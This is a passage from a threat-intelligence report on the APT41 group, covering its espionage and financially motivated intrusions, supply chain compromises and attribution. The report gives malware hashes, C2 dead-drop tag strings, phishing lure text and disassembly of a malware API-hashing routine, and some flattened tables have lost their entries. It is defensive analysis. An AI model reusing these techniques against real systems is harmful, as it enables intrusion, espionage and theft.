Game Related 2012 2013 2014 2015 2016 2017 2018 2019 Video Game Video Game Video Game Video Game Video GameRetail Hi-Tech Hi-Tech Hi-Tech Hi-Tech Hi-Tech Intergovernmental Media Media Media Healthcare Healthcare Pharmaceutical Healthcare Energy Software Software Video Game Related Figure 2: Timeline of industries targeted by APT41. INDUSTRIES TARGETED BY APT 41 10 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Cyber Espionage Activity Observed APT41 targeting is consistent with Chinas national strategies to move production capabilities upmarket into research and development (RD)-heavy fields. These initiatives were especially highlighted with Made in China 2025, a plan announced in 2015 that aims to shift Chinas economy toward higher value products and services, including pharmaceuticals, semiconductors, and other high-tech industries. We assess that the targeting of high-tech firms that produce computer components aligns with Chinese interests in domestically developing high-end technologies as outlined in the 12th (2011) and 13th (2016) Five-Year plans, as well as the Made in China 2025 (2015) initiative. Since 2013, APT41 has targeted organizations involved in the research, development, and sale of computer components used for machine-learning, autonomous vehicles, medical imaging, and the consumer market. The group also targeted companies involved in producing motherboards, processors, and server solutions for enterprises. In April 2013, the group targeted an enterprise cloud-computing provider. Developing domestic cloud-computing technologies was a goal in the 12th Five-Year Plan. In a 2014 compromise, APT41 targeted a European conglomerate and specifically focused on systems physically located in China. The timing of multiple intrusions attributed to the group indicate a focused interest in strategic business decisions, including entry into the Chinese market, partnerships/ MA, and expansion into other regional markets. In October 2017, an intrusion into a retailer targeted strategic investment plans at the same time as the firm was beginning to negotiate a partnership with a Chinese company (although this potential deal was not publicized). In spring 2015, APT41 targeted information related to two entities undergoing a merger announced the previous year. This included data related to a senior executive, as well as payroll and communications integration issues. Since 2017, APT41 has consistently targeted telecommunications companies, possibly a crucial first step to establish a foothold in targeting a particular region. Targeted telecom companies spanned several countries, and recently identified intrusions were concentrated in countries where we had not identified any prior APT41 activity. APT41 has targeted large telecom companies and their subsidiaries in various locations, demonstrating consistent interest in obtaining access to these targets. The group has also repeatedly targeted call record information at telecom companies, supporting indications of their wider intelligence collection efforts. In addition to specifically targeting industries of strategic value, we suggest that APT41 is also given more tactical assignments, including reconnaissance and identifying dissidents. A hotel was targeted two weeks ahead of a diplomatic visit in which high-ranking Chinese officials stayed there. Personal data within the reservations system was directly accessed, suggesting the group was potentially tasked to reconnoiter the facility. We assess with moderate confidence that APT41 gathered intelligence on pro-democracy dissidents in Hong Kong based on the targets and timing of operations. In July and August 2016, APT41 sent spear-phishing emails to Hong Kong media organizations known for pro-democracy editorial content. The timing and targeting of this activity suggests possible interest in the pro-democracy Umbrella Movement candidates who were running for seats in Hong Kongs legislative council. A spear-phishing email with the subject-line help was later sent to one of the previously targeted organizations in October 2017, coinciding with the sentencing of pro-democracy Occupy activists. The ruling placed a five-year ban on the activists from holding public offices in Hong Kong. https://www.uscc.gov/sites/default/files/Research/12th-FiveYearPlan_062811.pdf https://www.uscc.gov/sites/default/files/Research/The2013th20Five-Year20Plan_Final_2.14.17_Updated202800229.pdf https://www.uschamber.com/sites/default/files/final_made_in_china_2025_report_full.pdf https://www.theguardian.com/world/2016/sep/05/hong-kong-poll-pro-independence-activists-poised-to-win-seats-in-record-turnout https://www.scmp.com/news/hong-kong/politics/article/2107216/occupy-activists-joshua-wong-and-nathan-law-jailed-hong-kong SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 11 This was the first instance we have observed of APT41 targeting pro-democracy groups in Hong Kong. APT41 frequently leverages timely news stories as the lure content in their spear-phishing emails, although social engineering content does not always correlate with targeted users or organizations. In 2015, APT41 targeted a Japanese media organization with a lure document (Figure 3) titled (MERS), which translates to Prevention of Middle East Respiratory Syndrome (MERS). The fear of respiratory infections and a potential pandemic provide particularly effective lure material against targets in the Asia-Pacific region that had first-hand experience with prior SARS and avian flu outbreaks. Figure 3: MERS-themed lure document leveraging for CC (MD5: 5e87b09f9a3f1b728c9797560a38764b). 12 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Healthcare Sector Targeting CASE STUDY APT41 activity aimed at medical device companies and pharmaceuticals is demonstrative of the groups capacity to collect sensitive and highly valuable intellectual property (IP), although we have not observed evidence of IP theft since late 2015. The healthcare sector was targeted in a manner that is highly specific and most likely indicative of focused taskings from sponsoring organizations with a stake in the healthcare market. Targeted information included pharmaceutical development, clinical trial data, and intelligence regarding a medical subsidiarys parent company. SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 13 The targeting of these organizations just ahead of the release of products requiring a long RD cycle can confer a significant market advantage to a competitor. The observed activities are indicative of ongoing efforts to support Chinas own RD efforts in support of Made in China 2025. Between July 2014 and May 2016, APT41 targeted a medical devices subsidiary of a large corporation. Although APT41 initially targeted the parent company, 30 percent of the victimized hosts were related to a subsidiary specialized in manufacturing medical devices. Password strings and spoofed domains leveraged in the operation signify a narrow tasking to target the subsidiary instead of the parent corporation. We have some indication based on the nature of hosts targeted that APT41 was interested in information technology employees and software used by the medical device subsidiary. A keylogger dubbed GEARSHIFT was first deployed at the medical device company. A digital certificate from the victim was compromised and used to sign malware used in an operation against a separate biotech company detailed below. A biotech company undergoing acquisition was targeted by APT41 in May 2015. Highly sensitive information about corporate operations, including human resources data, tax information, and acquisition- related documents, were targeted. Clinical trials data of developed drugs, academic data, and RD funding-related documents were exfiltrated. The time frame, use of the same GEARSHIFT sample, and a digital certificate from the aforementioned medical device company provide some indication that these two campaigns were conducted by the same operator concurrently. In 2018, we observed APT41 target a third healthcare company, although their goals during this compromise were unclear. 14 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Financially Motivated Activity Unlike other observed Chinese espionage operators, APT41 conducts explicit financially motivated activity, which has included the use of tools that are otherwise exclusively used in campaigns supporting state interests. The late- night to early morning activity of APT41s financially motivated operations suggests that the group primarily conducts these activities outside of their normal day jobs. However, the group compiled malware for use in cyber crime activity even during espionage-focused working hours. As demonstrated in Figure 4, operational times for APT41 espionage operations over all observed activity are relatively close to Chinese work hours (in UTC 8, Chinas time zone). In contrast, the groups financially motivated activity targeting the video game industry tends to occur much later in the night. Operational times at gaming targets are most frequent between 18:00 and 07:00 (UTC 8), providing some indication that the group is moonlighting. Note that this is based on data collected over years and does not represent a daily schedule. The typical working hours in China for tech workers is a 996 work schedule (9:00 a.m. to 9:00 p.m., six days a week), which is consistent with APT41s operational activity observed over time. Operational times at targets not related to video games (and therefore, almost certainly in support of state-sanctioned missions) are more frequent between 14:00 and 22:00 (China Standard Time (CST), UTC 8), closer to conventional working hours (Figure 4). Analysis of compile times for all portable executable (PE) files suggests that APT41s average working hours fall between 10:00 to 23:00 (UTC 8), highlighting that the financially motivated activity is most likely extraneous to their espionage operations. Compile times for samples used in suspected financial gain missions are skewed toward later in the evening, roughly 19:00 to 00:00 (UTC 8). However, there is significant overlap with the compile times of PE files deployed at espionage targets between 15:00 to 19:00 (UTC 8). https://www.nytimes.com/2019/04/29/technology/china-996-jack-ma.html SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 15 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Figure 4: Operational activity for gaming versus non- gaming-related targeting based on observed operations since 2012. The group has also targeted cryptocurrencies, including at least one case in which there was a connection between cryptocurrency and an online video gaming platform. In June 2018, APT41 sent spear-phishing emails using an invitation lure to join a decentralized gaming platform linked to a cryptocurrency service (Figure 5) that had positioned itself as a medium of exchange for online games and gambling sites. The malicious emails were sent from an email address listed with the name Tom Giardino, which is likely a reference to an employee at Valve, an American video game developer responsible for the software distribution platform Steam and various video games. The body of the email (Figure 6) also mentions gaming offerings. This provides another connection between the targeting of the cryptocurrency organizations and video game targeting. In October 2018, the group compiled an instance of XMRig, a Monero cryptocurrency mining tool, demonstrating a continued interest in cryptocurrency. Operational Times at Gaming Targets Operational Times at Non-Gaming Targets APT41 Operational Times UTC 8 16 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 5: Screenshot of invitation to join the FairWin online gaming platform. Figure 6: English translation of invitation to join the FairWin online gaming platform. From: Tom Giardino Date: redacted Subject: Project (FairWin) online application Project Introduction: FairWin is a decentralized online gaming platform. Be sure to win fairness because our special FairChannel guarantees accurate RTP rates. The system is based on a blockchain, which means that the gameplay process is open. The payment of the bonus is automatic. Not dependent on the organizer. In addition to this, we also offer fun generous games with fascinating graphics. It can be run on any device and any browser so that all players can enjoy these experiences. Please refer to the attachment for other details SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 17 Video Game Industry Targeting APT41 continuously returns to targeting the video game sector and seems to have matured its campaigns through lessons learned in operations against the industry. We believe these operations include broadly malicious activity that can enable further operations, such as targeting game source code and compromising digital certificates, while other activities are explicitly financially motivated, such as abusing in-game currency mechanics. APT41 campaigns focused on the video game sector have largely affected studios and distributors in East and Southeast Asia, although global companies based in the United States have also been targeted. CASE STUDY 18 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION The group leverages many TTPs during the targeting of video game-related organizations, which are likewise employed in their espionage operations. Since at least 2012, APT41 has repeatedly gained access to game development environments within affected companies, including online multiplayer networks, as well as targeting of production database administrators. The group is competent in both Linux and Windows environments and can pivot easily between both environments within a single operation, including compromising intermediary servers that provide access to separated Windows and Linux environments. In October 2012, APT41 used captured credentials to compromise a jump server and access a production environment where they deployed a Linux version of PHOTO. Based on the machines targeted, we have some indication that APT41 specifically sought to access production machines used in the development of an upcoming online game. In 2014, APT41 used a variant of SOGU that is capable of connecting to Windows and Linux systems via SSH and Samba/CIFS. APT41 has been observed inserting malicious code into legitimate video game files to distribute malware. In 2018, the group inserted CRACKSHOT malware into game files that were signed with legitimate code- signing certificates, most likely indicating access to the production environment, which facilitated a supply chain compromise. A highly similar incident in 2014 suggests that APT41 (or a closely affiliated actor) has a history of carrying out such operations against the video game industry. APT41s experience gaining access to production environments may have been a precursor to more recent supply chain compromises. The insertion of malware into a build environment for later distribution with legitimate software is a natural extension of the groups earliest activities. Additional details are provided in the section History of Supply Chain Compromises. We have also observed APT41 limitedly deploy rootkits on Linux systems and Master Boot Record (MBR) bootkits, such as ROCKBOOT, on Windows systems to hide their malware and maintain persistence on victim systems. Selective deployment of ROCKBOOT suggests that APT41 reserves more advanced TTPs and malware only for high-value targets. Bootkits are a stealthy means of installing malware because the code resides outside of the OS. Because bootkits are initialized prior to the OS and operate in kernel mode, OS applications and security tools may have great difficulty detecting bootkits. The use of bootkits among threat actors, however, is rare. It is more common for threat actors to rely on techniques such as DLL search order hijacking or modifying Windows registry keys to achieve persistence. The group used the Adore-NG rootkit on older Linux operating systems to hide their Linux backdoor ADORE.XSEC. Note that the Adore-ng rootkit is no longer in development and would likely not run successfully on modern Linux systems, but APT41 deployed this on a legacy game server. APT41 is well-known for leveraging compromised digital certificates from video game studios to sign malware. The group has abused at least 19 different certificates in this way. Additional details on code-signing certificates are provided in the section Use of Code Signing Certificates. In 2012, APT41 used a code-signing certificate from Mgame, a South Korean game publisher, against other gaming industry entities. The serial number for this certificate was: 01:00:00:00:00:01:30:73:85:f7:02 19SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 4e:eb:08:05:55:f1:ab:f7:09:bb:a9:ca:e3:2f:13:cd Figure 7: Screenshot of ransomware note. ATTENTION The files on your computer have been securely encrypted. To get access to your files again, follow the instructions at: ACHTUNG Die Dateien auf Ihrem Computer wurden ischer verschluesselt. Um den Zugriff auf Ihre Dateien wiederzuerlangen, folgen Sie der Anleitung auf: A different Mgame digital certificate has been used by several other Chinese operators, including APT17, APT20, and APT31. It is unclear if this certificate was compromised at the same time as the one used by APT41 (or if it was stolen by APT41 and shared with these other groups). The serial number for this certificate was: APT41 has blatantly engaged in financially motivated activity targeting the video game industry, including manipulating virtual currencies. These activities demonstrate established connections to underground marketplaces and familiarity with monetization and laundering techniques. Using its access to a game production environment, in less than three hours the group generated tens of millions of dollars of a popular games virtual currency. The money was credited to more than 1,000 accounts and most likely sold and laundered in underground markets. APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases. In a highly unusual case, APT41 attempted to extort a game company by deploying the Encryptor RaaS ransomware. We suggest that APT41 sought to target in-game currency but found they could not monetize the specific targeted game, so the group resorted to ransomware to attempt to salvage their efforts and profit from the compromise. This ransomware was sold via a Ransomware-as- a-Service (RaaS) operation that was available via a Tor (.onion) website. Users of the ransomware were charged a 20 percent fee for any collected ransom. Since this was not the groups typical method of choice for collecting money from a victim environment, it is possible that APT41 turned to a pay- for-service ransomware to avoid having to develop such a tool or set up the associated payment and infrastructure associated with collecting the ransom. APT41 attempted to deploy the ransomware through a group policy (GPO) scheduled task. However, the malware was unsuccessfully deployed because of a simple typo. Figure 7 shows the ransom note associated with Encryptor RaaS, which contains default messages in both English and German (the instruction links have been redacted). Given that this is the default message, the languages in the note should not be considered when determining actor origin or location. 20 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Third-Party Access In multiple instances, APT41 targeted third parties and leveraged this access to target additional victims. APT41s exploitation of third parties varied. In some instances, APT41 moved laterally from one victim environment to another in order to initiate compromise. APT41 has also used credentials compromised in previous operations. In 2014, APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service. The payment service was likely targeted because it provided access to multiple gaming companies. Although we do not have first-hand evidence of APT41s compromise of TeamViewer, we have observed APT41 use compromised TeamViewer credentials as an entry point at multiple organizations. During a 2017 compromise, APT41 initiated a TeamViewer session and transferred files that were later deleted. Filenames and creation times indicate that these may have been the HIGHNOON backdoor. According to statements by a TeamViewers spokesperson, the company was targeted in fall 2016. The company stated that they conducted a comprehensive security audit of its IT architecture and added additional security measures to help strengthen its security posture. https://securityaffairs.co/wordpress/85733/hacking/teamviewer-2016-hack.html SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 21 History of Supply Chain Compromises Supply chain compromises are most likely an extension of APT41s tactics used in gaining access to gaming development environments and to other gaming organizations via third-party service providers. Public reports of supply chain compromises linked to APT41 date back to at least 2014, and technical evidence associated with these incidents was used to determine a relationship, if any, with APT41. Our assessment in each of these cases is noted in Table 1. As demonstrated in operations targeting the video game industry, APT41 leverages a variety of TTPs to access production environments where they can inject malicious code into legitimate files. The files are signed with valid code-signing certificates and distributed widely to end users. Supply chain targeting requires more effort than typically observed mass targeting methods, such as establishing a strategic web compromise (SWC) or conducting large spear-phishing campaigns. Although APT41 supply chain compromises affect very large numbers of victims, the group limits follow-on activity to select victims most likely to reduce detection and ensure any additional malware is delivered only to intended victims. Counterintuitively, supply chain operations add an additional layer of obscurity to the groups operations because it is difficult to pinpoint the desired target set. In a June 2018 supply chain compromise, APT41 leveraged MAC addresses and C:\ drive volume serial numbers to identify specifically targeted victims for follow-on activity. This significantly obfuscates the targeted sector or victim set in a typical spear-phishing campaign, for example, desired targeting can be discerned based on recipients email addresses. Table 1. Supply chain compromises. Date Compromised Entities FireEye Attribution Assessment December 2014 Online games distributed by a Southeast Asian video game distributor Path of Exile League of Legends FIFA Online 3 Possibly APT41 or a close affiliate March 2017 CCleaner Utility Unconfirmed APT41 July 2017 Netsarang software packages (aka ShadowPad) Confirmed APT41 June 2018 - November 2018 ASUS Live Update utility (aka ShadowHammer) Stage 1 unconfirmed APT41 Reported Stage 2 confirmed APT41 July 2018 Southeast Asian video game distributor Infestation PointBlank Confirmed APT41 22 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION December 2014 In December 2014, installers for three online games published by a Southeast Asian video game distributor were injected with the SOGU backdoor. The installer for these popular games was replaced by a malicious file that dropped the SOGU backdoor along with the normal game installer. The video game distributor operates servers in East and Southeast Asia for some of the most popular online games, including the three games that were compromised: Path of Exile, League of Legends, and FIFA Online 3 (Table 2). We have observed many similarities between TTPs involved in this compromise and APT41, including: Targeting the same victim organization 31 days apart Use of code-signing certificates from the same video game-related issuer organizations Table 2. 2014 compromised games. Game File MD5 Malware CC Use of the same malware families (HIGHNOON.BIN, HIGHNOON.LITE, EASYNIGHT, FRONTWHEEL) Use of HIGHNOON.BIN samples with the same compile times Overlap in domain resolution to the same IP netblock (61.38.186.0/24) during the same time frame in 2012 Video game-related supply chain targeting Despite these compelling overlaps, the actors responsible for this compromise leverage additional unique tools not observed with APT41 or any other Chinese espionage group, suggesting that they are either part of APT41 and maintain their own toolset, or a close affiliate of APT41 that shares both tools and taskings. SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 23 In March 2017, suspected Chinese espionage operators targeted CCleaner, a utility that assists in the removal of unwanted files from a computer. According to the parent company, Avast, the infected CCleaner was downloaded by 2.27 million customers. While we have identified some overlaps between the CCleaner activity and APT41, we do not have enough information to attribute the CCleaner compromise to APT41 at this time. Both APT41 and the actors in the CCleaner incident used TeamViewer during initial compromise. According to Avast, the actors used TeamViewer to compromise a developer workstation and used VBScript (x64.vbs) to drop a malicious payload. The compromised CCleaner update (which we call DIRTCLEANER) is believed to download a second-stage loader (MD5: 748aa5fcfa2af451c76039faf6a8684d) that contains a 32-bit and 64-bit COLDJAVA DLL payload. The COLDJAVA payload contains shellcode that loads a variant of BLACKCOFFEE (Figure 8). While COLDJAVA has been used by APT41, BLACKCOFFEE has been used by other Chinese cyber espionage groups, including APT17 and APT40. It is possible that COLDJAVA may also be shared between distinct cyber espionage operators. Malware samples identified in the CCleaner incident included notable shared design decisions observed in APT41 malware, including the use of domain generation Table 3. BLACKCOFFEE DDR websites. File MD5 Legitimate DDR Websites Used for CC 3ca2a13f646690481 dc15d78bac6d829 Figure 8: Malware downloaded by DIRTCLEANER. DIRTCLEANER COLDJAVA BLACKCOFFEE algorithms (DGA) for CC, use of dead drop resolvers (DDR), and use of shellcode as primary payloads. However, FireEye malware analysis of the compromised CCleaner samples and associated COLDJAVA samples did not reveal shared code with the POISONPLUG and POISONPLUG.SHADOW malware samples used in similar supply chain incidents by APT41. DIRTCLEANER uses DGA to generate new CC domains each month. This is similar to first-stage malware used in the Netsarang compromise described below. The BLACKCOFFEE sample reaches out to actor- controlled profiles hosted on legitimate websites to retrieve encoded commands for CC, a technique known as DDR. The malware parses the content of the websites (listed in Table 3), looking for 12 bytes contained between the tags: BSM1cr0S0ft and SBM1cr0Soft. APT41 POISONPLUG samples have also used DDR for CC. The POISONPLUG and POISONPLUG.SHADOW samples in similar supply chain incidents use a shellcode format that resembles PE files, while the BLACKCOFFEE backdoor that was delivered in the CCleaner compromise uses a traditional PIC blob. Additionally, there is apparent code reuse between observed POISONPLUG and POISONPLUG samples not observed in the CCleaner samples. March 2017 https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer https://www.fireeye.com/blog/threat-research/2015/05/hiding_in_plain_sigh.html https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf 24 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION In July 2017, APT41 injected malicious code into a software update package maintained by Netsarang and signed it with a legitimate Netsarang certificate in an operation referred to as ShadowPad by Kaspersky. The software package is reportedly used by hundreds of companies worldwide. We observed numerous opportunistic infections associated with POISONPLUG.SHADOW spanning 13 countries and a variety of industries, demonstrating the broad impact of this operation. However, we have not observed the associated second-stage at any victim organizations. Open-source reporting indicated one victim was identified in Hong Kong. Signing the malicious update with a legitimate NetSarang certificate is consistent with APT41s pattern of using legitimate certificates. In this case, all updates were required to be signed by Netsarang, which means APT41 had to use the code-signing certificate to subvert the update mechanism. Alternatively, it is also possible that APT41 injected malicious code into the package prior to compilation, circumventing the need to steal the code-signing certificate and compile it on their own. The first stage of the malware uses DGA, which changes its CC servers monthly. The use of shifting network infrastructure is most likely intended to add operational robustness and to reduce detection. The second-stage shellcode is initialized only after it is activated using a decryption key retrieved from the first-stage DNS communications. This likely allows APT41 to selectively activate the payload on specific victim systems. The second-stage payload contains the default CC server, notped.com, which overlaps with other APT41 CC infrastructure. Other reported APT41 domains that may also be related to the second-stage payload can be found in Table 4. Table 4. Reported APT41 domains associated with POISONPLUG.SHADOW. Domain Associated Malware Family July 2017 https://securelist.com/shadowpad-in-corporate-networks/81432/ SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 25 In June 2018, a utility used to update ASUS computers was compromised in an operation dubbed ShadowHammer by Kaspersky. Open-source reporting indicated that more than 50,000 systems installed the malicious update, yet the malware was only designed to execute and retrieve second-stage malware on a designated list of approximately 600 systems, demonstrating this was a targeted campaign. Public reporting on the incident noted that many of the targeted MAC addresses were associated with wireless adapters from various vendors, partially indicating the operations targeting strategy. Although we have limited visibility into the intended targets of this operation, we observed one of the whitelisted MAC addresses on a system at a telecom company. Kasperskys analysis of the infected machines revealed that a POISONPLUG backdoor was installed as a result of the malicious update. While we have been unable to attribute the DAYJOB malware used in the incident to APT41 due to an inability to independently confirm this sequence of events, we confirm the reported stage- two POISONPLUG backdoor is attributed to APT41, contained several gaming references, and was likely used to target the gaming industry. The POISONPLUG sample (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea) attempts to connect to a Google document that was created under the same name and email address (Tom Giardino and ) that was used to target the cryptocurrency organization. It also attempts to connect to a Steam community page (Table 5). The POISONPLUG payload uses DDR and parses the Google document for a CC command. The Steam community page is likely used as a fallback mechanism. FireEye malware analysis of the POISONPLUG sample indicates the malware is likely designed to run only one system with a C: drive volume serial number of 0xc25cff4c. Additional POISONPLUG samples located in Table 6 also leverage Google Document and Steam Community Pages for CC. Table 5. ShadowHammer stage-two POISONPLUG sample. File MD5 CC Domain 37e100dd8b2ad8b301b130c2bca3f1ea Table 6. POISONPLUG samples leveraging dead drop resolving. File MD5 CC Domain 557ff68798c71652db8a85596a4bab72 ff8d92dfbcda572ef97c142017eec658 b0877494d36fab1f9f4219c3defbfb19 ffd0f34739c1568797891b9961111464 June 2018 https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/ https://www.kaspersky.com/blog/shadow-hammer-teaser/26149/ https://www.zdnet.com/article/researchers-publish-list-of-mac-addresses-targeted-in-asus-hack/ 26 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Beginning in July 2018, APT41 appeared to have directly targeted several East and Southeast Asia-based video game developers and distributors to inject legitimate executables with the CRACKSHOT backdoor. Like other high-profile supply chain compromises attributed to APT41, these incidents included the incorporation of malicious code into legitimate executables and the signing of these files using legitimate digital certificates from the same compromised organization. APT41 used a CC domain that masquerades as Xigncode, , in the compromise of the video game PointBlank. Ironically, Xigncode is a service intended to prevent hacking and cheating in online games. We attribute these compromises (also reported by both ESET and Kaspersky) to APT41 based on the unique use of the CRACKSHOT backdoor and tactics consistent with APT41 operations. A list of related indicators is in Table 7. Table 7. Video games industry targeting in July 2018. Targeted Game / Platform MD5 Hashes Malware CC Domain Southeast Asian video game platform 04fb0ccf3ef309b1cd587f609ab0e81e CRACKSHOT Infestation game fcfab508663d9ce519b51f767e902806 CRACKSHOT PointBlank game 0b2e07205245697a749e422238f9f785 272537bbd2a8e2a2c3938dc31f0d2461 dd792f9185860e1464b4346254b2101b CRACKSHOT July 2018 https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/ https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/ SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 27 Overlaps Between Espionage and Financial Operations Identified overlaps across various incidents attributed to APT41 demonstrate the groups dual nature. Figure 9 and Figure 10 illustrate crossover between espionage and financially motivated activity, as well as technical similarities in tools used across both types of operations. The email address was used to send spear-phishing emails to a Taiwanese newspaper with the subject lure I have a little surprise for you :) in an espionage campaign in August 2016 (Figure 9). The same email address was later used to target a cryptocurrency exchange in June 2018, demonstrating email reuse between espionage operations and financially motivated activity. The lure used to target the cryptocurrency exchange (displayed in Figure 5 and translated in Figure 6) referenced an online gaming platform, tying the cryptocurrency targeting to APT41s focus on video game-related targeting. As depicted in Figure 10, hrsimon59gmail. com was used to create a Google document being used as a POISONPLUG (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea) CC. As previously mentioned, this sample also connected to a Steam page. Figure 9: Email overlaps between espionage and financial activity. Cyber Espionage Phishing email to Taiwanese newspaper Subject: I have a little surprise for you :) ATTACHMENT Documents.7z 8c6cceae2eea92deb6f7632f949293f0 Probable Financial Motivation Phishing email to European bitcoin exchange Subject: (FairWin) Invitation to join a decentralized gambling platform ATTACHMENT FairWin.chm 223e4cc4cf5ce049f300671697a17a01 JUNE 2018AUGUST 2016 28 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION SH A RED CODE Figure 10: Malware overlaps across supply chain compromises. 1 Telecom Victim Stage 2 shellcode loader 72584d6b7dd10c82d9118567b548b2b1 CC CC STAGE 2 activated at Identified at 1 unknown victim in Hong Kong Stage 1 shellcode loader a6c7db170bc7a4ee2cdb192247b59cd6 POISONPLUG Stage 1 Loader 830a09ff05eac9a5f42897ba5176a36a ASUS SUPPLY CHAIN (AKA SHADOWHAMMER) NETSARANG SUPPLY CHAIN (AKA SHADOWPAD) COMPROMISE OF A U.S. COMPANY POISONPLUG 37e100dd8b2ad8b301b130c2bca3f1ea POISONPLUG.SHADOW Trojanized Sotware Package (DLL Loader) 97363d50a279492fda14cbab53429e75 100s of victims Compromise of a U.S. Video Game Company JULY 2017MAY 2016 DAYJOB Trojanized ASUS Update Utility 0f49621b06f2cdaac8850c6e9581a594 50K victims JUNENOV 2018 Confirmed Connection Speculated Connection Unconfirmed Confirmed Video Game Related Google Document Author SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 29 FireEye malware analysis identified source code overlaps between malware used by APT41 in May 2016 targeting of a U.S.-based game development studio and the malware observed in supply chain compromises in 2017 and 2018. In May 2016, APT41 deployed a POISONPLUG sample at a U.S.-based game development studio. The stage-one loader for this sample (MD5: 830a09ff05eac9a5f42897ba5176a36a) shares code overlaps with the stage-one shellcode loader (MD5: a6c7db170bc7a4ee2cdb192247b59cd6) used in the Netsarang compromise, first reported by Kaspersky as ShadowPad. These connections, illustrated in Figure 10, led us to identify the malware used in the Netsarang incident as a variant of POISONPLUG (therefore: POISONPLUG.SHADOW). The POISONPLUG and POISONPLUG.SHADOW variants share the observed commonalities: The entrypoint functions for both loaders use the same instructions, constants, and structures to pass control to loading routines. The layout of functions and data within the loaders are the same for example, following the entrypoint, both loaders contain an unusual region of structured data 0x60 bytes long. Both loaders use the same API hashing algorithm to resolve routines from system libraries (Figure 11 and Figure 12). The routine uses byte-wise operations to compute a hash, including byte-wise rotate-right by eight bits, byte-wise binary, OR with 0x20, and byte-wise XOR using the four-byte key 0x7C35D9A3. Using this routine, the hash for kernel32.dll, a common DLL provided by Microsoft Windows, is 0xFD5B1261. FireEye analysis of a separate POISONPLUG payload (MD5: c8403fabda4d036a55d0353520e765c9) compiled in July 2017 and the POISONPLUG. SHADOW stage-two shellcode loader (MD5: 72584d6b7dd10c82d9118567b548b2b1) identified multiple additional plug-in similarities. Core plug-in IDs between the samples are the same, including 100, 101, 102, 103, 104, and 201. Core plug-in names are the same including Plugins, Online, Config, Install, and HTTP. CC plug-in IDs and names between both samples are the same, including 200/TCP, 201/HTTP, 202/UDP, 203/DNS, 204/HTTPS, and 205/SSL. Both samples parse the CC response by searching for characters and decoding the result. Figure 11: POISONPLUG API hashing (MD5: 830a09ff05eac9a5 f42897ba5176a36a). seg000:00010246 movzx edi, byte ptr [eax] seg000:00010249 ror esi, 8 seg000:0001024C or edi, 20h seg000:0001024F add esi, edi seg000:00010251 add eax, 2 seg000:00010254 xor esi, 7C35D9A3H seg000:0001025A cmp [eax], dx seg000:0001025D jnz short loc_10246 seg000:0001025F cmp esi, 0FD5B1261h Figure 12: POISONPLUG. SHADOW API hashing (MD5: a6c7db170bc7a4 ee2cdb192247b5 9cd6). g000:0000F55C 0F B6 0E movzx ecx, byte ptr [esi] g000:0000F55F 8B 45 F4 mov eax, [ebp-0Ch] g000:0000F562 C1 C8 08 ror eax, 8 g000:0000F565 83 C9 20 or ecx, 20h g000:0000F568 03 C1 add eax, ecx g000:0000F56A 35 A3 D9 35 7C xor eax, 7C35D9A3H g000:0000F56F 83 C6 02 add esi, 2 g000:0000F572 89 45 F4 mov [ebp-0Ch], eax g000:0000F575 66 39 3E cmp [esi], di g000:0000F578 75 DD jnz short loc_F557 g000:0000F57A 3D 61 12 5B FD cmp eax, 0FD5B1261h 30 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Attribution We assess with high confidence that APT41 is attributable to Chinese individuals who are working on behalf of the Chinese state in conducting cyber espionage operations, and that these actors are also running financially motivated campaigns for personal gain. Two identified personas using the monikers Zhang Xuguang and Wolfzhi linked to APT41s operations have also been identified in Chinese-language forums. Attribution to these individuals is backed by identified persona information, the previous work of these individuals, their apparent expertise in programming skills, and their targeting of Chinese market-specific games. It is uncertain how many other individuals may also be associated with APT41. Multiple domains leveraged by early APT41 activity were registered by emails and names associated with both Zhang Xuguang and Wolfzhi (or their alternative monikers). Registrant information also included references to Beijing and Chinese phone numbers (86 country code). Zhang Xuguang () registered more than a dozen domains masquerading as video games or companies with 